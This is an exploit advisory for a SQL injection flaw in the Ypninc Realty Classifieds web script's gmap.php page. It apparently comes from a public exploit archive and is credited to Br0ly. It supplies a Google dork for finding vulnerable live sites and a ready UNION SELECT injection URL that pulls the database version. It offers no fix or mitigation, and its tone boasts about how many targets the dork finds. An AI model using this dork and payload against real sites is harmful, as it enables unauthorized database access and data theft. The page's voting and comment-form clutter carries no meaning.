Ypninc Realty Classifieds SQL Injection

2010.12.25

Credit: Br0ly

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

Script Name: Ypninc Realty Classifieds
Script Demo: http://fsbo.ypninc.com/
BUG: Sql INjection
google dork: inurl:"gmap.php?id=";
OBS: With this dork you will find a lot of sql injection aiuhauiha ;D
Found: by Br0ly
 
 
Lame script ;/...
 
p0c:
 
http://server/gmap.php?id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--
 
xPloit:
 
http://server/gmap.php?id=[sqli]
 
BraZil.. ;D

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Ypninc Realty Classifieds SQL Injection

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.